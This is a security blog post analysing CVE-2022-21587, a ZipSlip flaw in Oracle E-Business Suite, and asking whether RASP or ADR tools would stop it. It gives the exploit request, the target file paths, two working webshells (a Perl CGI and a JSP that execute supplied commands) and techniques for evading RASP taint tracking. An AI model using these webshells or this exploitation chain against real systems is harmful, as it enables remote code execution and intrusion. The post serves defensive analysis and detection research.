Last week, I saw this post (https://www.theregister.com/2024/07/12/cisa_broke_into_fed_agency/) discussing the exploitation of an unpatched Oracle vulnerability. The unnamed federal agency took over two weeks to apply the available patch π. When I read the post, I was like: Is RASP or
Last week, I saw this post (https://www.theregister.com/2024/07/12/cisa_broke_into_fed_agency/) discussing the exploitation of an unpatched Oracle vulnerability.
The unnamed federal agency took over two weeks to apply the available patch π. When I read the post, I was like: Is RASP or ADR capable of preventing this, even without knowledge of the vulnerability, treating it as a zero-day?
Even though I was working on something else, I decided to write a technical post about it, so that others can benefit from it.
What is really interesting is that years ago, in this paper, they claimed that file uploads are unlikely to participate in injection attacks. Well, today we will see how this can happen.
We discuss in detail CVE-2022-21587, which affects Oracle Web Applications Desktop Integrator, supplied with Oracle EBS versions 12.2.3 to 12.2.11.
In a few words, it is a ZipSlip attack, exploiting a lack of validation when unzipping delivered files (the file name is directly concatenated with the target directory, without any validation).
The vulnerability is reachable at runtime and allows the delivery of a backdoor using either JSP or Perl. The former writes a new file, while the latter overwrites a Perl file, which will be discussed in more detail later. In both cases, RCE is achieved.
The discussion is based on this blog post. A PoC is available on GitHub and also in Metasploit.
Finally, we will cover how and if RASP and ADRs can protect against this kind of vulnerabilities, regardless of whether the project's source code is available or not.
Do you think that RASP is bypassable ? let's rediscuss it at the end πΆ.
UUEncoding is an encoding scheme used to map binary data to textual space. In a nutshell, the binary input is mapped into a series of ASCII characters. The data is then sent through the wire using a textual protocol and can be decoded on the receiver end using uudecode
.
The ZipSlip vulnerability, which is prevalent in Java, is a type of directory traversal defect disclosed in June 2018 by Snyk. It arises from a lack of validation when processing archive files, leading to arbitrary file uploads on the system. This can result in RCE, ransomware installation, and extensive damage.
Specifically, a malicious entity (which could be human or now also an LLM-based agent π) could craft an archive housing files with directory traversal characters in their embedded path (e.g., creating a file named ../../bad.sh
) and gain unauthorized access to directories in the filesystem. This allows them to invoke or overwrite system resources and files like /etc/passwd
, SSH keys, etc.
The ZipSlip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar, and 7z.
Here is an example of a vulnerable code:
The validation is lacking in File f = new File(destinationDir, e.getName());
. We are concatenating the filename without any validation, so one can choose where the file lands during the archive processing.
The above vulnerable code can be fixed by resolving the canonical and absolute path of each file prior to writing, ensuring that the file is placed in the right directory:
String canonicalDestinationDirPath = destinationDir.getCanonicalPath();
File destinationfile = new File(destinationDir, e.getName());
String canonicalDestinationFile = destinationfile.getCanonicalPath();
if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) {
throw new ArchiverException("Entry is outside of the target dir: " + e.getName());
}
For example, if e.getName()
is ../etc/passwd
, destinationFile.getCanonicalPath()
would resolve to something like /etc/passwd
rather than destinationDir/../etc/passwd
, and /etc/passwd
is not equal to canonicalDestinationDirPath
, the upload would fail.
Java is one of the most impacted languages, but other languages are also affected. For more details, please refer to Snyk's Zip Slip vulnerability page.
You can detect such vulnerabilities using modern SAST (e.g., SonarSource). However, what if you don't have access to the code?
Additionally, SAST cannot detect all defects, and relying solely on it means your entire appsec is based on the hope that everything is caught before runtime, which is not enough. We should not stop at runtime but instead protect and monitor our workload continuously.
Oracle E-Business Suite (EBS) is a comprehensive suite of integrated business applications designed to help organizations manage their various business processes more effectively, including financial management, human resources, and supply chain management.
Oracle EBS applications are hosted on an instance of the WebLogic server, a commercial Java EE application server that supports JSP/Servlets, JPA, JMS, etc. (see Java EE Technologies). This is in contrast to Tomcat, which implements just the Servlet container.
All components of Oracle EBS are located in the folder /u01/install/APPS
. Oracle E-Business Suite (Oracle_EBS-app1) is deployed as an Oracle Home under FMW (/u01/install/APPS/fs1/FMW_Home
). This directory contains all the configuration files related to oacore (/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml
) and forms (/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/WEB-INF/web.xml
).
Several endpoints in oacore are impacted by the vulnerability in question, including /OA_HTML/BneViewerXMLService
, /OA_HTML/BneDownloadService
, /OA_HTML/BneOfflineLOVService
, and /OA_HTML/BneUploaderService
. These endpoints are served by classes inherited from the BneAbstractXMLServlet
.
Oracle Web Applications Desktop Integrator (Web ADI) is a web server used to create spreadsheets that enable the upload of data into Oracle Applications. To process user requests, Web ADI uses Apache servlets such as oracle.apps.bne.integrator.upload.BneUploaderService
.
Basically, Oracle uses several JSP files to serve requests (server side rendering, not much used today but still exists).
How the vulnerability was found ? the researcher was navigating the package when he found a Zip Slip vulnerability in oracle.apps.bne.framework.BneMultipartRequest#doUploadFile
. Specifically, a temporary file is created to process the item, and if the name contains uue
, it delegates to doUnzip
to unpack the zip file after decoding (decode uue
and then unzip).
The call is delegated to BneUnZip.doUnZip
, which, as shown below, lacks validation on the filename. This is our target (the attacker's target π).
So, all we (or he) need is to send a uue
encoded file which will get decoded and then unzipped, and finally, RCE (Remote Code Execution) can happenβor at least arbitrary file overwrite. Let's keep it that way for now; we will see how you can achieve ACE later.
Once the vulnerability was detected, the researcher tried to find a runtime path that could trigger the vulnerable function (hello Runtime SCA/SAST π).
The following path was found:
oracle.apps.bne.framework.BneMultipartRequest.doUploadFile
(vulnerable function)oracle.apps.bne.framework.BneMultipartRequest.doUpload
oracle.apps.bne.integrator.upload.BneUploaderService.handleUploadRequest
oracle.apps.bne.integrator.upload.BneUploaderService.handleRequest
oracle.apps.bne.framework.BneAbstractXMLServlet.doRequest
oracle.apps.bne.framework.BneAbstractXMLServlet.doPost
javax.servlet.http.HttpServlet.service
However, there is still one condition for the vulnerable code to be reached: the temporary file created must have a filename containing uue
. To achieve this, the researcher added the parameter bne:uueupload=true
to the request, specifying that the file being delivered is encoded using the uuencode
format and thus should be decoded before being stored on the server.
Let's recap. Now, we can encode a zip file using uuencode
and send a request with the bne:uueupload
parameter set to true
along with our file. The vulnerable function is triggered, and then our zip file is processed, allowing us to achieve arbitrary file overwriting by manipulating the embedded filename.
Similar to Spring4Shell, now that we can deliver any file, we can deploy a JSP file to the application root of the OACORE application and invoke it remotely. However, in this case, there was whitelisting, specifically a servlet filter oracle.apps.fnd.security.WLFilter
, that refused the loading of the JSP file, preventing remote code execution ( Allowed JSPs feature ).
Even though there was whitelisting preventing the loading of arbitrary JSP files, the researcher who found the vulnerability did not give up and tried another route. He discovered a weblogic.servlet.CGIServlet
that runs a fixed Perl file, namely txkFNDWRR.pl
. By overwriting this file, he could use it as a webshell!
Here is the perl file used to achieve RCE:
use CGI;
print CGI::header( -type => 'text/plain' );
my $cmd = CGI::http('HTTP_CMD');
print system($cmd);
exit 0;
The OA_HTML environment setting points to the HTML directory, which contains other files used by the HTML-based products such as JSP files. So, a malicious entity can send a request POST /OA_HTML/BneViewerXMLService?bne:uueupload=true -F upload=@foo.uue
, which gets processed by the servlet. Because the request contains multipart form data, the multipart request data is processed and reaches the vulnerable function doUpload
, where each item is handled separately using doUploadFile
. A temporary file is created with suffix (uue), which leads to a Zip Slip vulnerability path where the ZIP file entries are extracted to an unintended location chosen by the attacker. A Perl file is overwritten to execute user requests, which is accessible by sending requests to the endpoint /OA_CGI/FNDWRR.exe
.
Yesterday, before I revised the article for publication, I noticed that Rapid7 managed to execute a JSP file by uploading it to the Oracle EBS WebLogic form module. Specifically, they uploaded the file to a location like /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/evil.jsp
. The JSP file used is similar to the one used in the Spring4Shell exploit. You can find more details in their analysis here:
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String line = dis.readLine();
while(line != null) {
out.println(line);
line = dis.readLine();
}
}
%>
In the script above, you can use Reflection and Unsafe API to bypass RASP completely (I wrote a similar exploit here months ago: https://github.com/mouadk/Insomnihack2024/blob/f74f7ab24e731defaccae100d6ee05d9cde084dc/bypass-using-unsafe-abuse/exploit.py#L11).
The proper way to fix the vulnerability is to apply the official patch. If for any reason this is not possible, you can deploy rules in WAF (e.g., Cloudflare) to block the requests to the concerned endpoints:
/OA_HTML/BneUploaderService
/OA_HTML/BneViewerXMLService
/OA_HTML/BneDownloadService
/OA_HTML/BneOfflineLOVService
CVE-2022-21587 is a good example of how a taint engine (and thus RASP) can fail. if RASP uses only taint analysis, then it may not be capable of preventing the attack, depending on the granularity of the taint scheme.
RASP uses taint analysis for tracking how untrusted data flows within the application runtime. Taint flags are added to inputs from outside, which circulate within the runtime environment with taint information or labels. The goal of taint analysis is to determine if there is an injection vulnerability or attack, in other words, if it has propagated (or contaminated) in a way (without sanitization) that represents an injection attack or vulnerability (RASP versus IAST).
The thing is, in order to propagate tainted information, different approaches can be implemented. The effectiveness and completeness of the tainting engine depend entirely on the granularity of the scheme. Merely augmenting string-related Java classes (e.g., java.lang.String, java.lang.StringBuffer) is not enough, as any attempt to manipulate primitive types causes RASP (or the taint engine) to lose the taint information and thus fail to detect some complex attacks at runtime. I will not discuss more taint analysis here as I am preparing something on it later.
Now let's suppose that vulnerability is unknown to RASP. ZipSlip vulnerability happens when user-supplied input (in this case, the filename embedded within the archive file) is appended to a destination directory without any validation.
As users send data in a binary format, a file is first written to a temporary file and then processed. Primitive types are used along the way, and thus RASP loses taint information if it relies on string tracking only. The filename is extracted from the binary data.
Yet, RASP can still instrument related classes like MultipartRequest to maintain some level of monitoring and protection. However, this instrumentation is not foolproof (for example here BneMultipartRequest
is not accessible to RASP). If the application logic uses primitive types, the RASP system might not be able to track the data flow effectively. This is illustrated below (sorry did not have time to make it look nicer :/).
Even without taint information, RASP can still detect certain attack patterns. For instance, it can recognize a file upload request followed by suspicious activity, such as attempts at path traversal or the presence of web shell patterns in the webroot directory. These patterns are indicative of an attack, even if the specific data is not being tracked.
RASP instruments JDK classes and can determine if a data (tainted or not), being passed to a sink (a security sensitive operation, e.g. file upload) indicates an attack pattern (e.g. path traversal).
In a Tomcat or WAR deployment scenario, it can check if there is an attempt to deliver files within webroot, indicating a path traversal/backdoor attack. This is what kind of OpenRASP is doing: https://github.com/baidu/openrasp/blob/240fde3901c7a36aaade3683ffd5c89140a535fb/plugins/official/plugin.js#L2447.
If we recall the previous exploit, it would have failed, for example, in FileOutputStream, depending on the solution you are using.
Ok, so if RASP is properly implemented, it could have prevented the deployment of the JSP and Perl files (AFAIK OpenRASP do not consider perl files as dangerous: https://github.com/baidu/openrasp/blob/240fde3901c7a36aaade3683ffd5c89140a535fb/plugins/official/plugin.js#L703 during upload ? ).
Let's stress again that some RASP (or any tainting engine using string-level only tracking) can lose track if there are data flow paths not covered (e.g., primitive types, native library loading, etc.).
Additionally, RASP can also protect after the JSP file is deployed (though it can be bypassed with reflection and unsafe API).
What about the Perl file? Well, Perl files are not covered by traditional RASP, so this is out of scope for RASP. This is where ADRs come in; they offer more comprehensive protection of your entire application workload.
There are different ways to implement ADRs. They can use a RASP-like implementation, but usually, they cover other blind spots, typically the entire user stack.
Some ADRs use OpenTelemetry (OTel) to ingest application spans and detect malicious activities. However, these solutions do not provide prevention (only a reactive approach; OTel is used for distributed tracing only) and will only cover specific sinks like SQL drivers, HTTP etc. Unless additional tracing is added using OpenTelemetry SDKs, you cannot detect this kind of vulnerabilities. Furthermore, even if some classes are instrumented, once a JSP file is delivered, it can destroy OpenTelemetry instrumentation completely by rewriting the bytecode, thus rendering it blind (no detection or prevention).
Some ADRs, such as Oligo Security, use system call-based detection and a patented innovative tracing solution to access the application context. They can intervene either before uploading the file (system call hooks + app context = Tomcat + JSP deployment with path traversal inside webroot-> backdoor delivery - block) or afterward, when using the shell from the JSP file or Perl (in contrast to simple RASP). Finally, because they operate at the kernel level, by analyzing the behavior and sequence of events, they can also detect such motifs. For example, an endpoint that has been used follows some unusual system commands that were not observed before.
Many people claim that RASP is not bypassable. Well, ask them what tainting scheme they are using and its granularity. If it is string-level, as described in paper [https://people.eecs.berkeley.edu/~daw/papers/taint-sws09.pdf], then they are not tracking primitive types. Any operation at the byte or character level will render RASP (or its tracing engine) blind afterward (e.g., extracting a string from opaque binary data and using it in an SQL driver procedure may not be detected if you are solely relying on taint information). If they say they are covering all types, like in Phosphor or MirrorTaint, then the overhead is extreme. Alternatively, they may be rewriting the JVM or using another excessively invasive mechanism, in which case you trade off portability.
I reiterate, RASP is bypassable, but not every implementation is bypassable. A few months ago, when I was in love of RASP (not anymore), I experimented with a commercial RASP solution and bypassed its tracing as follows (the JSP file was delivered using Spring4Shell):
Did you spot the issue? charAt
was used to reverse the command in order to make RASP lose the taint information. This kind of RASP vulnerability is not new and has been discussed in several papers in the past (cf below).
Now, do you still think RASP is not bypassable ? There are other bypasses not necessarily related to the tracing but more how RASP works (cf https://github.com/mouadk/Insomnihack2024).
Beuuuh, let's not talk about WAF because once you deliver a JSP file, you can do magic stuff there and use different sorts of encodings to send undetectable commands.
Even though the Zip Slip vulnerability was reported years ago, it is still present [https://www.sonarsource.com/blog/openrefine-zip-slip/] and probably won't disappear as we start using AI-generated code. Injection attacks will probably increase.
We need more than basic RASP. I believe baselining will shape the future of runtime security along with what RASP tried to achieve.
If you think that I overlooked something, please, let me know.